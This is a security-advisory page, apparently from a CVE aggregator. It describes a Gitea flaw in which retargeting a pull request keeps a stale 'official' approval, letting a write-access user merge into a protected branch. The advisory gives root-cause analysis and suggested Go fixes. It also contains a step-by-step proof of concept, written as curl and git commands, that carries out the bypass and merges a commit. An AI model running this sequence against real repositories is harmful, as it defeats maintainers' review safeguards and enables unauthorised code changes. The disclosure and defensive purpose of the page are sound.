CVE-2026-58439

HIGHPre-NVD 8.18.1
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 8.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale official Approval Flag

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

  • Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

  • Updates pr.BaseBranch
  • Recalculates merge feasibility and divergence
  • Deletes old push comments
  • Creates a "change target branch" comment

But it does not:

  • Re-evaluate official on existing reviews
  • Dismiss existing approvals
  • Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

  • Review creationservices/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
  • Target branch changeservices/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
  • Merge checkservices/pull/check.go:CheckPullMergeablemodels/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

  • Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
  • The ability to create pull requests (standard for any user with push access)
  • A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

  • Admin access
  • To be in the approval whitelist for the protected branch
  • Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

  • Required approvals: 1
  • Approval whitelist enabled, containing only user admin-reviewer
  • User attacker has write access but is not in the approval whitelist

Steps

BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"  # any non-whitelisted user

1. Create an unprotected temporary branch from master

curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'

2. Push a malicious commit to a feature branch

git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch

3. Create PR targeting the UNPROTECTED branch

curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }'

Returns PR #N

4. Approve the PR (official=true because tmp-unprotected has no protection)

curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}'

Response includes: "official": true

5. Retarget the PR to protected master

curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}'

6. Verify: approval is still official=true against master

curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH"

Response: "official": true, "dismissed": false, "stale": false

7. Merge — succeeds despite no whitelisted approver reviewing

curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}'

Returns 200 OK — malicious commit is now on master

Observed API Responses

Step 4 — Approval on unprotected branch:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 — Same approval after retarget to protected master:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

  • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
  • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch) if err != nil { return err }

for _, review := range reviews { wasOfficial := review.Official if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist { review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer) } else { review.Official = false } if wasOfficial != review.Official { if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil { return err } } }

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}

CVSS v3
8.1
EG Score
8.1(low)
EG Risk
41(Track)
EG Risk 41/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity81% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-58439(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
go-gitea/gitea1.27.0

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 23:07 UTCEG score recompute
  2. 2026-07-23 03:21 UTCEG score recompute
  3. 2026-07-21 20:19 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-58439?
CVE-2026-58439 is a high vulnerability published on July 21, 2026. Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale official Approval Flag Summary Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval…
When was CVE-2026-58439 disclosed?
CVE-2026-58439 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-58439?
CVE-2026-58439 has a CVSS v4.0 base score of 8.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-58439?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-58439, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-58439

Explore →

Is Your Infrastructure Affected by CVE-2026-58439?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.